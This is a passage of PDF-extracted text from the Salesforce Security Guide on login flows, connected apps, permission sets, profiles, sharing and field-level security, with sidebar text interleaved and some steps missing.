} catch(Exception ex) {
result.put('Status', 'Failure');
}
result.put('VerificationCode', VerificationCode);
69
Salesforce Security Guide Configure User Authentication
11. Create an SMS plug-in that generates an OTP code and sends it via SMS to the user’s mobile number. The plug-in takes these inputs.
• AccountSid—Twilio Account SID (username from your Twilio account)
• Token—Twilio Auth Token (password from your Twilio account)
• From—The SMS From number
• Message—The message sent to the user with the verification code
• To—The user’s mobile phone number
70
Salesforce Security Guide Configure User Authentication
12. Create a Screen element that prompts for the verification code received.
71
Salesforce Security Guide Configure User Authentication
14. Connect the elements together. When you connect the decision to the legacy Apex action, choose the Invalid outcome.
17. Log out, and then log in as a test user that’s connected with a test profile.
72
Salesforce Security Guide Configure User Authentication
SEE ALSO:
Login Flow Examples
73
Salesforce Security Guide Configure User Authentication
{
new Process.PluginDescribeResult.OutputParameter('CONCURRENT_NO',
Process.PluginDescribeResult.ParameterType.INTEGER)
};
return result;
}
result.put('CONCURRENT_NO', no);
74
Salesforce Security Guide Configure User Authentication
4. Create a numeric variable to store the allowed number of concurrent sessions for the user.
5. From the toolbox, open the Elements tab. Drag an Apex Action (Legacy) element onto the canvas, and select the SessionPlugin
legacy Apex action. Store the action’s CONCURRENT_NO parameter in the session_no flow variable.
75
Salesforce Security Guide Configure User Authentication
6. Add a Decision element that has two outcomes. If the login exceeds the limit, the outcome is Block, which is the default. Otherwise,
the outcome is Allow.
7. Add a Screen element that tells the user they’ve exceeded the allowed number of concurrent sessions.
8. Add an Assignment element that sets the LoginFlow_ForceLogout output variable to true.
76
Salesforce Security Guide Configure User Authentication
10. Connect the elements together. When you connect the decision to the first screen, choose the Block outcome.
77
Salesforce Security Guide Connected Apps
13. Connect the login flow to a user profile. Best practice is to create a dedicated test user with a test profile.
14. Log out, and then log in as the test user and test the flow.
When you assign the profile to users, Salesforce redirects them at login through the flow. When a login attempt exceeds the limit,
the user sees the block screen and can’t log in. Here’s an example of the block screen in Lightning Experience.
SEE ALSO:
Login Flow Examples
Connected Apps
A connected app is a framework that enables an external application to integrate with Salesforce using APIs and standard protocols,
such as SAML, OAuth, and OpenID Connect. Connected apps use these protocols to authenticate, authorize, and provide single sign-on
(SSO) for external apps. The external apps that are integrated with Salesforce can run on the customer success platform, other platforms,
devices, or SaaS subscriptions. For example, when you log in to your Salesforce mobile app and see your data from your Salesforce org,
you’re using a connected app.
By capturing metadata about an external app, a connected app tells Salesforce which authentication protocol—SAML, OAuth, and
OpenID Connect—the external app uses, and where the external app runs. Salesforce can then grant the external app access to its data,
and attach policies that define access restrictions, such as when the app’s access expires. Salesforce can also audit connected app usage.
To learn more about how to use, configure, and manage connected apps, see the following topics in Salesforce Help:
• Connected App Use Cases
• Create a Connected App
• Edit a Connected App
• Manage Access to a Connected App
More Resources
Here are some additional resources to help you navigate connected apps:
• Salesforce Help: Connected Apps
• Salesforce Help: Authorize Apps with OAuth
• Trailhead: Build Integrations Using Connected Apps
78
Salesforce Security Guide Give Users Access to Data
IN THIS SECTION:
Control Who Sees What
Salesforce provides a flexible, layered data sharing design that lets you expose different data sets to different groups of users. Managing
the visibility of date helps users do their job by showing only data that is relevant to them. To specify objects and fields users can
access, use permission sets and profiles. Use organization-wide sharing settings, user roles, and sharing rules to specify the individual
records that users can view and edit.
User Permissions
User permissions specify what tasks users can perform and what features users can access. For example, users with the “View Setup
and Configuration” permission can view Setup pages, and users with the “API Enabled” permission can access any Salesforce API.
Object Permissions
Object permissions specify the base-level access users have to create, read, edit, and delete records for each object. You can manage
object permissions in permission sets and profiles.
Custom Permissions
Use custom permissions to give users access to custom processes or apps.
Profiles
Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign
a profile to each one.
Create a User Role
Salesforce offers a user role hierarchy that you can use with sharing settings to determine the levels of access that users have to your
Salesforce org’s data. Roles within the hierarchy affect access on key components such as records and reports.
79
Salesforce Security Guide Control Who Sees What
Note: With some exceptions, search results are not returned for records with fields that an Admin or end user can't access
because of field level security. For example, a user searches for Las Vegas in Accounts, but doesn't have access to the Account
fields Billing Address and Shipping Address. Salesforce does a keyword search, matching the terms "Las Vegas”, “Las” and
“Vegas” in the searchable fields. No results are returned for records that match only the Billing and Shipping Address fields
because the user doesn't have access to these fields. There are some fields that don’t enforce field level security and return
search results.
Record-Level Security (Sharing)
After setting object- and field-level access permissions, you can configure access settings for the actual records themselves. Record-level
security lets you give users access to some object records, but not others. Every record is owned by a user or a queue. The owner
has full access to the record. In a hierarchy, users higher in the hierarchy always have the same access to users below them in the
hierarchy. This access applies to records owned by users and records shared with them.
To specify record-level security, set your organization-wide sharing settings, define a hierarchy, and create sharing rules.
• Organization-wide sharing settings—The first step in record-level security is to determine the organization-wide sharing settings
for each object. Organization-wide sharing settings specify the default level of access users have to each others’ records.
You use organization-wide sharing settings to lock down your data to the most restrictive level. Use the other record-level security
and sharing tools to selectively give access to other users. For example, users have object-level permissions to read and edit
opportunities, and the organization-wide sharing setting is Read-Only. By default, those users can read all opportunity records,
but can’t edit any unless they own the record or are granted other permissions.
• Role hierarchy—Once you’ve specified organization-wide sharing settings, the first way you can give wider access to records is
with a role hierarchy. Similar to an organization chart, a role hierarchy represents a level of data access that a user or group of
users needs. The role hierarchy ensures that users higher in the hierarchy can always access the same data as users who are at
a lower level, regardless of the organization-wide default settings. Role hierarchies don’t have to match your organization chart
exactly. Instead, each role in the hierarchy can represent a level of data access that a user or group of users needs.
Similarly, you can use a territory hierarchy to share access to records. See Define Default User Access for Territory Records
(Enterprise Territory Management) and Configure Territory Management Settings (original territory management).
80
Salesforce Security Guide User Permissions
Note: Although it’s easy to confuse permission sets and profiles with roles, they control two different things. Permission
sets and profiles control a user’s object and field access permissions. Roles primarily control a user’s record-level access
through role hierarchy and sharing rules.
• Sharing rules—Sharing rules let you make automatic exceptions to organization-wide sharing settings for particular sets of users.
Use sharing rules to give them access to records they don’t own or can’t normally see. Sharing rules, like role hierarchies, are
only used to give additional users access to records—they can’t be stricter than your organization-wide default settings.
• Manual sharing—Sometimes it’s impossible to define a consistent group of users who need access to a particular set of records.
In those situations, record owners can use manual sharing to give read and edit permissions to users who don’t have access any
other way. Manual sharing isn’t automated like organization-wide sharing settings, role hierarchies, or sharing rules. However,
it gives record owners the flexibility to share particular records with users that must see them.
• Apex managed sharing—If sharing rules and manual sharing don’t give you the control you need, you can use Apex managed
sharing. Apex managed sharing allows developers to programmatically share custom objects. When you use Apex managed
sharing on a custom object, only users with the Modify All Data permission can add or change the sharing on the custom
object's record. The sharing access is maintained across record owner changes.
User Permissions
User permissions specify what tasks users can perform and what features users can access. For
EDITIONS
example, users with the “View Setup and Configuration” permission can view Setup pages, and
users with the “API Enabled” permission can access any Salesforce API. Available in: Salesforce
You can enable user permissions in permission sets and custom profiles. In permission sets and the Classic (not available in all
enhanced profile user interface, these permissions—as well as their descriptions—are listed in the orgs) and Lightning
App Permissions or System Permissions pages. In the original profile user interface, user permissions Experience
are listed under Administrative Permissions and General User Permissions. The user permissions
To view permissions and their descriptions, from Setup, enter Permission Sets in the Quick available vary according to
Find box, then select Permission Sets, then select or create a permission set. Then from the which edition you have.
Permission Set Overview page, click App Permissions or System Permissions.
IN THIS SECTION:
User Permissions and Access
User permissions and access settings are specified in profiles and permission sets. To use them effectively, understand the differences
between profiles and permission sets.
Permission Sets
A permission set is a collection of settings and permissions that give users access to various tools and functions. Permission sets
extend users’ functional access without changing their profiles.
81
Salesforce Security Guide User Permissions
Object permissions
Field permissions
Custom permissions
Login hours
Login IP ranges
IN THIS SECTION:
Revoking Permissions and Access
82
Salesforce Security Guide User Permissions
To resolve the consequence in either case, consider all possible options. For example, you can clone the assigned profile or any assigned
permission sets where the permission or access setting is enabled. Then, disable the permission or access setting, and assign the cloned
profile or permission sets to the user. Another option is to create a base profile with the least number of permissions and settings that
represents the largest number of users possible. Then create permission sets that layer more access.
Permission Sets
A permission set is a collection of settings and permissions that give users access to various tools
EDITIONS
and functions. Permission sets extend users’ functional access without changing their profiles.
Users can have only one profile but, depending on the Salesforce edition, they can have multiple Available in: Salesforce
permission sets. You can assign permission sets to various types of users, regardless of their profiles. Classic (not available in all
orgs) and Lightning
Create permission sets to grant access among logical groupings of users, regardless of their primary
Experience
job function. For example, let’s say you have several users who must delete and transfer leads. You
can create a permission set based on the tasks that these users must perform and include the Available in:Essentials,
permission set within permission set groups based on job functions. Contact Manager,
Professional, Group,
If a permission isn’t enabled in a profile but is enabled in a permission set, users with that profile
Enterprise, Performance,
and permission set have the permission. For example, if Manage Password Policies isn’t enabled in
Unlimited, Developer, and
a user’s profile but is enabled in one of their permission sets, they can manage password policies.
Database.com Editions
IN THIS SECTION:
Create and Edit Permission Set List Views
You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For example,
you could create a list view of all permission sets in which “Modify All Data” is enabled.
83
Salesforce Security Guide User Permissions
Tip: To show only permission sets with no user license, enter User License for
the Setting, set the Operator to equals, and enter "" in the Value field. USER PERMISSIONS
d. To specify another filter condition, click Add Row. You can specify up to 25 filter condition To create, edit, and delete
rows. permission set list views:
• Manage Profiles and
4. Under Select Columns to Display, specify the settings that you want to appear as columns in Permission Sets
the list view. You can add up to 15 columns.
a. From the Search drop-down list, select a setting type.
b. Enter the first few letters of the setting you want to add and click Find.
84
Salesforce Security Guide User Permissions
Note: If the search finds more than 500 values, no results appear. Refine your search criteria to show fewer results.
5. Click Save, or if you're cloning an existing view, rename it and click Save As.
Note: Use care when editing permission sets with this method. Making mass changes can Available in: Salesforce
have a widespread effect on users in your organization. Classic (not available in all
orgs) and Lightning
1. Select or create a list view that includes the permission sets and permissions you want to edit. Experience
2. To edit multiple permission sets, select the checkbox next to each one you want to edit. If you
Available in:Essentials,
select permission sets on multiple pages, the selections on each page are remembered. Contact Manager,
3. Double-click the permission you want to edit. For multiple permission sets, double-click the Professional, Group,
permission in any of the selected permission sets. Enterprise, Performance,
Unlimited, Developer, and
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a
Database.com Editions
permission can also change other permissions. For example, if “Manage Cases” and “Transfer
Cases” are enabled in a permission set and you disable “Transfer Cases,” then “Manage Cases”
is also disabled. In this case, the dialog box lists the affected permissions. USER PERMISSIONS
5. To change multiple permission sets, select All n selected records (where n is the number To edit multiple permission
of permission sets you selected). sets from the list view:
6. Click Save. • Manage Profiles and
Permission Sets
If you edit multiple permission sets, only the permission sets that support the permission you are
editing change. For example, let’s say you use inline editing to enable “Modify All Data” in ten
permission sets, but one permission set doesn’t have “Modify All Data.” In this case, “Modify All Data” is enabled in all the permission
sets, except the one without “Modify All Data.”
Any changes you make are recorded in the setup audit trail.
85
Salesforce Security Guide User Permissions
related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate
Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests.
System Settings
Some system functions apply to an organization and not to any single app. For example, “View Setup and Configuration” allows users
to view setup and administrative settings pages. Other system functions apply to all apps. For example, the “Run Reports” and “Manage
Dashboards” permissions allow managers to create and manage reports in all apps. In some cases, such as with “Modify All Data,” a
permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader.
USER PERMISSIONS
86
Salesforce Security Guide User Permissions
Objects Object name Let’s say you have an Albums custom object. USER PERMISSIONS
Type albu, then select Albums.
To search permission sets:
Parent object name Let’s say your Albums object contains a • View Setup and
• Fields
Description field. To find the Description Configuration
• Record types
field for albums, type albu, select Albums,
and scroll down to Description under
Field Permissions.
App and system Permission name Type api, then select API Enabled.
permissions
All other categories Category name To find Apex class access settings, type apex,
then select Apex Class Access. To find
custom permissions, type cust, then select
Custom Permissions. And so on.
If you don’t get any results, don’t worry. Here’s some tips that can help:
• Check if the search term has at least three consecutive characters that match the object, setting, or permission name.
• The permission, object, or setting you're searching for might not be available in the current Salesforce org.
• The item you’re searching for might not be available for the user license that’s associated with the current permission set. For example,
a permission set with the Standard Platform User license doesn’t include the “Modify All Data” permission.
• The permission set license associated with the permission set doesn’t include the object, setting, or permission name you’re searching
for.
87
Salesforce Security Guide User Permissions
88
Salesforce Security Guide User Permissions
• Page layout assignments are specified in profiles only—they’re not available in permission sets. When a permission set specifies a
custom record type, users with that permission set get the page layout assignment that’s specified for that record type in their profile.
(In profiles, page layout assignments are specified for every record type, even when record types aren’t assigned.)
• For lead conversion, the default record type specified in a user’s profile is used for the converted records.
• Users can view records assigned to any record type. As a result, a page layout is assigned to every record type on a user's profile. A
record type assignment on a user’s profile or permission set doesn’t determine whether a user can view a record with that record
type. The record type assignment simply specifies that the user can use that record type when creating or editing a record.
• Record types in permission sets aren’t supported in packages and change sets. As a result, any record type assignments in permission
sets in a sandbox organization must be manually reproduced in a production organization.
89
Salesforce Security Guide User Permissions
USER PERMISSIONS
To enable custom
permissions in permission
sets:
• Manage Profiles and
Permission Sets
Available in:Essentials,
IN THIS SECTION:
Contact Manager,
Assign Permission Sets to a Single User Professional, Group,
Assign permission sets or remove permission set assignments for a single user from the user Enterprise, Performance,
detail page. Unlimited, Developer, and
Database.com Editions
Assign a Permission Set to Multiple Users
Assign a permission set to one or more users from any permission set page.
Remove User Assignments from a Permission Set
From any permission set page, you can remove the permission set assignment from one or more users.
90
Salesforce Security Guide User Permissions
Tip: You can perform this and other administration tasks from the SalesforceA mobile app.
91
Salesforce Security Guide User Permissions
USER PERMISSIONS
6. To return to a list of all users assigned to the permission set, click Done.
USER PERMISSIONS
92
Salesforce Security Guide Object Permissions
Object Permissions
Object permissions specify the base-level access users have to create, read, edit, and delete records
EDITIONS
for each object. You can manage object permissions in permission sets and profiles.
Object permissions either respect or override sharing rules and settings. The following permissions Available in: Salesforce
specify the access that users have to objects. Classic (not available in all
orgs) and Lightning
Permission Description Respects or Experience
Overrides Sharing? Available in: Professional,
Read Users can only view records of this type. Respects sharing Enterprise, Performance,
Unlimited, Developer, and
Create Users can read and create records. Respects sharing Database.com Editions
Edit Users can read and update records. Respects sharing
Delete Users can read, edit, and delete records. Respects sharing
View All Users can view all records associated with this Overrides sharing
object, regardless of sharing settings.
Modify All Users can read, edit, delete, transfer, and Overrides sharing
approve all records associated with this object,
regardless of sharing settings.
Note: A profile or a permission set can have an entity, such as Account, with a master-detail relationship. A broken permission
dependency exists if the child entity has permissions that the parent should have. Salesforce updates the parent entity for a broken
permission dependency on the first save action for the profile or permission set.
If the child entity has these permissions These permissions are enabled on the parent entity
Modify All OR View All View All
IN THIS SECTION:
“View All” and “Modify All” Permissions Overview
The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators to grant access to records
associated with a given object across the organization. “View All” and “Modify All” can be better alternatives to the “View All Data”
and “Modify All Data” permissions.
93
Salesforce Security Guide Object Permissions
View All Delegation of object permissions. Delegated administrators who Available in: All Editions
View All Users Viewing all users in the organization. Users who need to see all users in the
Grants Read access to all users, so that organization. Useful if the
you can see their user record details, organization-wide default for the user
see them in searches, list views, and object is Private. Administrators with
so on. the Manage Users permission are
automatically granted the View All
Users permission.
View All Lookup Viewing record names in all lookup Administrators and users who need
Record Names and system fields. to see all information about a record,
such as its related records and the
Owner, Created By, and Last Modified
By fields. This permission only applies
to lookup record names in list views
and record detail pages.
View All and Modify All are not available for ideas, price books, article types, and products.
94
Salesforce Security Guide Object Permissions
View All and Modify All allow for delegation of object permissions only. To delegate user administration and custom object administration
duties, define delegated administrators.
View All for a given object doesn't automatically give access to its detail objects. In this scenario, users must have Read access granted
via sharing to see any associated child records to the parent record.
View All Users is available if your organization has User Sharing, which controls user visibility in the organization. To learn about User
Sharing, see User Sharing.
Where managed “Read,” “Create,” “Edit,” and “Delete” object “View All” and “Modify All”
permissions;
Sharing settings
Record access levels Private, Read-Only, Read/Write, “View All” and “Modify All”
Read/Write/Transfer/Full Access
Ability to transfer Respects sharing settings, which vary by Available on all objects with “Modify All”
object
Ability to approve records, or edit and None Available on all objects with “Modify All”
unlock records in an approval process
Ability to report on all records Available with a sharing rule that states: the Available on all objects with “View All”
records owned by the public group “Entire
Organization” are shared with a specified
group, with Read-Only access
Object support Available on all objects except products, Available on most objects via object
documents, solutions, ideas, notes, and permissions
attachments
Note: View All and Modify All are
not available for ideas, price books,
article types, and products.
95
Salesforce Security Guide Custom Permissions
Ability to manually share records Available to the record owner and any user Available on all objects with “Modify All”
above the record owner in the role hierarchy
Ability to manage all case comments Not available Available with “Modify All” on cases
Custom Permissions
Use custom permissions to give users access to custom processes or apps.
EDITIONS
In Salesforce, many features require access checks that specify which users can access certain
functions. Permission set and profiles settings include built-in access settings for many entities, like Available in: both Salesforce
objects, fields, tabs, and Visualforce pages. However, permission sets and profiles don’t include Classic (not available in all
access for some custom processes and apps. For example, in a time-off manager app, users might orgs) and Lightning
need to submit time-off requests, but only a small set of users approves time-off requests. You can Experience
use custom permissions for these types of controls. Available in: Essentials,
Custom permissions let you define access checks that can be assigned to users via permission sets Group, Professional,
or profiles, similar to how you assign user permissions and other access settings. For example, you Enterprise, Performance,
can define access checks in Apex that make a button on a Visualforce page available only if a user Unlimited, and Developer
has the appropriate custom permission. Editions
You can query custom permissions in these ways. In Group and Professional
Edition organizations, you
• To determine which users have access to a specific custom permission, use Apex and do can’t create or edit custom
something like the following. permissions, but you can
install them as part of a
managed package.
Boolean hasCustomPermission =
FeatureManagement.checkPermission('your_custom_permission_api_name');
• To determine what custom permissions users have when they authenticate in a connected app, reference the user's Identity URL,
which Salesforce provides along with the access token for the connected app.
IN THIS SECTION:
Create Custom Permissions
Create custom permissions to give users access to custom processes or apps.
Edit Custom Permissions
Edit custom permissions that give users access to custom processes or apps.
96
Salesforce Security Guide Custom Permissions
USER PERMISSIONS
To create custom
permissions:
• Manage Custom
Permissions
97
Salesforce Security Guide Profiles
USER PERMISSIONS
Profiles
Profiles define how users access objects and data, and what they can do within the application.
EDITIONS
When you create users, you assign a profile to each one.
Available in: Salesforce
Watch how you can grant users access to objects using profiles. Classic (not available in all
Who Sees What: Object Access (English only) orgs) and Lightning
Experience
IN THIS SECTION:
Work in the Enhanced Profile User Interface Page
In the enhanced profile user interface, the profile overview page provides an entry point for all settings and permissions for a profile.
98
Salesforce Security Guide Profiles
99
Salesforce Security Guide Profiles
USER PERMISSIONS
To view profiles:
• View Setup and
Configuration
To delete profiles and edit
profile properties:
• Manage Profiles and
Permission Sets
100
Salesforce Security Guide Profiles
Assign Record Types and Page Layouts in the Enhanced Profile User Interface
In the enhanced profile user interface, Record Types and Page Layout Assignments settings determine
EDITIONS
the record type and page layout assignment mappings that are used when users view records.
They also determine which record types are available when users create or edit records. Available in: Salesforce
To specify record types and page layout assignments: Classic (not available in all
orgs) and Lightning
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
Experience
2. Select a profile.
Available in: Enterprise,
3. In the Find Settings... box, enter the name of the object you want and select it from the list. Performance, Unlimited,
4. Click Edit. and Developer Editions
5. In the Record Types and Page Layout Assignments section, make changes to the settings as Record types available in:
needed. Professional, Enterprise,
Performance, Unlimited,
and Developer Editions
Setting Description
Record Types Lists all existing record types for the object.
--Master-- is a system-generated record type that's used
USER PERMISSIONS
when a record has no custom record type associated with it. To edit record type and
When --Master-- is assigned, users can't set a record page layout access settings:
type to a record, such as during record creation. All other • Manage Profiles and
record types are custom record types. Permission Sets
Page Layout Assignment The page layout to use for each record type. The page layout
determines the buttons, fields, related lists, and other elements
that users with this profile see when creating records with the
associated record type. Since all users can access all record
types, every record type must have a page layout assignment,
even if the record type isn't specified as an assigned record
type in the profile.
Assigned Record Types Record types that are checked in this column are available
when users with this profile create records for the object. If
--Master-- is selected, you can't select any custom record
types; and if any custom record types are selected, you can't
select --Master--.
Default Record Type The default record type to use when users with this profile
create records for the object.
The Record Types and Page Layout Assignments settings have some variations for the following objects or tabs.
101
Salesforce Security Guide Profiles
Home You can't specify custom record types for the home tab. You can only select a page
layout assignment for the --Master-- record type.
6. Click Save.
IN THIS SECTION:
Assign Record Types to Profiles in the Original Profile User Interface
After you create record types and include picklist values in them, add record types to user profiles. If you assign a default record type
to a profile, users with that profile can assign the record type to records that they create or edit.
Assign Page Layouts in the Original Profile User Interface
If you’re already working in an original profile user interface, you can access, view, and edit all page layout assignments easily in one
location.
102
Salesforce Security Guide Profiles
6. If your organization uses person accounts, set default record type options for both person accounts and business accounts. From
the Business Account Default Record Type and then the Person Account Default Record Type
drop-down list, choose a default record type.
These settings are used when defaults are needed for both kinds of accounts, such as when converting leads.
7. Click Save.
Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record types for
opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the picklist values and
default value for the master are available in all accounts.
Note: If your organization uses person accounts, you can view the record type defaults for business accounts and person accounts.
Go to Account Record Type Settings in the profile detail page. Clicking Edit in the Account Record Type Settings is another way
to begin setting record type defaults for accounts.
• Selected page layout assignments are highlighted. Record types available in:
Professional, Enterprise,
• Page layout assignments you change are italicized until you save your changes.
Performance, Unlimited,
6. If necessary, select another page layout from the Page Layout To Use drop-down list and Developer Editions
and repeat the previous step for the new page layout.
7. Click Save. USER PERMISSIONS
103
Salesforce Security Guide Profiles
Note: Regardless of the currently selected app, all of a user's permissions are respected. For example, although the “Import Leads”
permission is under the Sales category, a user can import leads even while in the Service app.
System Settings
Some system functions apply to an organization and not to any single app. For example, login hours and login IP ranges control a user's
ability to log in, regardless of which app the user accesses. Other system functions apply to all apps. For example, the “Run Reports” and
“Manage Dashboards” permissions allow managers to create and manage reports in all apps. In some cases, such as with “Modify All
Data,” a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader.
104
Salesforce Security Guide Profiles
• Fields Parent object name Let’s say your Albums object contains a Description field. To find
the Description field for albums, type albu, select Albums,
• Record types
and scroll down to Description under Field Permissions.
• Page layout assignments
Tabs Tab or parent object name Type rep, then select Reports.
App and system permissions Permission name Type api, then select API Enabled.
All other categories Category name To find Apex class access settings, type apex, then select Apex
Class Access. To find custom permissions, type cust, then
select Custom Permissions. And so on.
105
Salesforce Security Guide Profiles
USER PERMISSIONS
106
Salesforce Security Guide Profiles
107
Salesforce Security Guide Profiles
5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected).
6. Click Save.
Note:
• For standard profiles, inline editing is available only for the “Single Sign-On” and “Affected By Divisions” permissions.
• If you edit multiple profiles, only those profiles that support the permission you are changing will change. For example, if you
use inline editing to add “Modify All Data” to multiple profiles, but because of its user license the profile doesn't have “Modify
All Data,” the profile won't change.
If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name to open
the profile detail page. The profiles you've clicked appear in the error window in gray, strike-through text. To view the error console, you
must have pop-up blockers disabled for the Salesforce domain.
Any changes you make are recorded in the setup audit trail.
108
Salesforce Security Guide Profiles
Clone Profiles
Instead of creating profiles, save time by cloning existing profiles and customizing them.
EDITIONS
Tip: If you clone profiles to enable certain permissions or access settings, consider using
permission sets. For more information, see Permission Sets. Also, if your profile name contains Available in: Salesforce
more than one word, avoid extraneous spacing. For example, “Acme User” and “Acme User” Classic (not available in all
orgs) and Lightning
are identical other than spacing between “Acme” and “User.” Using both profiles in this case
Experience
can result in confusion for admins and users.
1. From Setup, enter Profiles in the Quick Find box, then select Profiles. Available in: Professional,
Enterprise, Performance,
2. In the Profiles list page, do one of the following: Unlimited, Developer, and
• Click New Profile, then select an existing profile that’s similar to the one you want to create. Database.com Editions
• If enhanced profile list views are enabled, click Clone next to a profile that’s similar to the Custom Profiles available in:
one you want to create. Professional, Enterprise,
• Click the name of a profile that’s similar to the one you want to create, then in the profile Performance, Unlimited,
page, click Clone. and Developer Editions
A new profile uses the same user license as the profile it was cloned from.
USER PERMISSIONS
3. Enter a profile name.
4. Click Save. To create profiles:
• Manage Profiles and
Permission Sets
109
Salesforce Security Guide Profiles
USER PERMISSIONS
110
Salesforce Security Guide Profiles
USER PERMISSIONS
To enable custom
permissions in profiles:
• Manage Profiles and
Permission Sets
111
Salesforce Security Guide Create a User Role
8. Click Save.
Note: After you share a folder with a role, it’s visible only to users in that role, not to superior roles in the hierarchy.
IN THIS SECTION:
Field-Level Security
Field-level security settings let you restrict users’ access to view and edit specific fields.
Sharing Rules
Use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules give particular users greater
access by making automatic exceptions to your org-wide sharing settings.
User Sharing
User Sharing enables you to show or hide an internal or external user from another user in your organization.
What Is a Group?
A group consists of a set of users. A group can contain individual users, other groups, or the users in a particular role or territory. It
can also contain the users in a particular role or territory plus all the users below that role or territory in the hierarchy.
112
Salesforce Security Guide Field-Level Security
Manual Sharing
Manual sharing gives other users access to certain types of records, including accounts, contacts, and leads.
Organization-Wide Sharing Defaults
Define the default access level for an object’s records with organization-wide sharing settings. Organization-wide sharing settings
can be set separately for custom objects and many standard objects, and you can set different levels of access for internal and external
users.
Field-Level Security
Field-level security settings let you restrict users’ access to view and edit specific fields.
EDITIONS
Note: Who Sees What: Field-Level Security (English only)
Available in: Salesforce
Watch how you can restrict access to specific fields on a profile-by-profile basis. Classic (not available in all
orgs) and Lightning
Your Salesforce org contains lots of data, but you probably don’t want every field accessible to
Experience
everyone. For example, your payroll manager probably wants to keep salary fields accessible only
to select employees. You can restrict user access in: Available in: Professional,
Enterprise, Performance,
• Detail and edit pages
Unlimited, Developer, and
• Related lists Database.com Editions
• List views
• Reports
• Connect Offline
• Email and mail merge templates
• Custom links
• The partner portal
• The Salesforce Customer Portal
• Synchronized data
• Imported data
Page layouts and field-level security settings determine which fields a user sees. The most restrictive field access settings of the two
always applies. For example, you can have a field that’s required in a page layout but is read-only in the field-level security settings. The
field-level security overrides the page layout, so the field remains read-only.
You can define field-level security in either of these ways.
• For multiple fields on a single permission set or profile
• For a single field on all profiles
After setting field-level security, you can:
• Organize the fields on detail and edit pages by creating page layouts.
Tip: Use field-level security to restrict users’ access to fields, and then use page layouts to organize detail and edit pages within
tabs. This approach reduces the number of page layouts for you to maintain.
113
Salesforce Security Guide Field-Level Security
Note: Roll-up summary and formula fields are read-only on detail pages and not available on edit pages. They can also be visible
to users even though they reference fields that your users can’t see. Einstein Insights can also be visible to user even though the
insight references fields that your users can’t see. Universally required fields appear on edit pages regardless of field-level security.
The relationship group wizard allows you to create and edit relationship groups regardless of field-level security.
IN THIS SECTION:
Set Field Permissions in Permission Sets and Profiles
Field permissions specify the access level for each field in an object.
Set Field-Level Security for a Single Field on All Profiles
Field Permissions
Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface, the
setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields.
Classic Encryption for Custom Fields
Restrict other Salesforce users from seeing custom text fields you want to keep private. Only users with the permission “View Encrypted
Data” can see data in encrypted custom text fields.
114
Salesforce Security Guide Field-Level Security
USER PERMISSIONS
Field Permissions
Field permissions specify the access level for each field in an object. In permission sets and the
EDITIONS
enhanced profile user interface, the setting labels differ from those in the original profile user
interface and in field-level security pages for customizing fields. Available in: Salesforce
Classic (not available in all
Access Level Enabled Settings in Enabled Settings in orgs) and Lightning
Permission Sets and Original Profile and Experience
Enhanced Profile User Field-Level Security
Interface Interfaces Available in: Professional,
Enterprise, Performance,
Users can read and edit the Read and Edit Visible Unlimited, Developer, and
field. Database.com Editions
Users can read but not edit the Read Visible and Read-Only
field.
115
Salesforce Security Guide Field-Level Security
Note: This information is about Classic Encryption and not Shield Platform Encryption. Available in: both Salesforce
Classic and Lightning
Before you begin working with encrypted custom fields, review these implementation notes, Experience
restrictions, and best practices.
Available in: Developer,
Enterprise, Performance,
Implementation Notes Unlimited, and
Database.com Editions
• Encrypted fields are encrypted with 128-bit master keys and use the Advanced Encryption
Standard (AES) algorithm. You can archive, delete, and import your master encryption key. To
enable master encryption key management, contact Salesforce.
• You can use encrypted fields in email templates but the value is always masked regardless of whether you have the “View Encrypted
Data” permission.
• If you have created encrypted custom fields, make sure that your organization has “Require secure connections (HTTPS)” enabled.
• If you have the “View Encrypted Data” permission and you grant login access to another user, the user can see encrypted fields in
plain text.
• Only users with the “View Encrypted Data” permission can clone the value of an encrypted field when cloning that record.
• Only the <apex:outputField> component supports presenting encrypted fields in Visualforce pages.
Restrictions
Encrypted text fields:
• Cannot be unique, have an external ID, or have default values.
• For leads are not available for mapping to other objects.
• Are limited to 175 characters because of the encryption algorithm.
• Are not available for use in filters such as list views, reports, roll-up summary fields, and rule filters.
• Cannot be used to define report criteria, but they can be included in report results.
• Are not searchable, but they can be included in search results.
• Are not available for: Connect Offline, Salesforce for Outlook, lead conversion, workflow rule criteria or formulas, formula fields,
outbound messages, default values, and Web-to-Lead and Web-to-Case forms.
Best Practices
• Encrypted fields are editable regardless of whether the user has the “View Encrypted Data” permission. Use validation rules, field-level
security settings, or page layout settings to prevent users from editing encrypted fields.
• You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the user has the
“View Encrypted Data” permission.
• Encrypted field data is not always masked in the debug log. Encrypted field data is masked if the Apex request originates from an
Apex Web service, a trigger, a workflow, an inline Visualforce page (a page embedded in a page layout), or a Visualforce email
template. In other cases, encrypted field data isn’t masked in the debug log, like for example when running Apex from the Developer
Console.
116
Salesforce Security Guide Field-Level Security
• Existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data type. To
encrypt the values of an existing (unencrypted) field, export the data, create an encrypted custom field to store that data, and import
that data into the new encrypted field.
• Mask Type is not an input mask that ensures the data matches the Mask Type. Use validation rules to ensure that the data
entered matches the mask type selected.
• Use encrypted custom fields only when government regulations require it because they involve more processing and have
search-related limitations.
Note: This page is about Classic Encryption, not Shield Platform Encryption. What's the difference? on page 157
IN THIS SECTION:
Create Custom Fields
Capture your unique business data by storing it in custom fields. When you create a custom field, you configure where you want it
to appear and optionally control security at the field level.
117
Salesforce Security Guide Field-Level Security
3. Choose the type of field and click Next. Consider the following. Layouts aren’t available in
Database.com
• Some data types are available for certain configurations only. For example, the
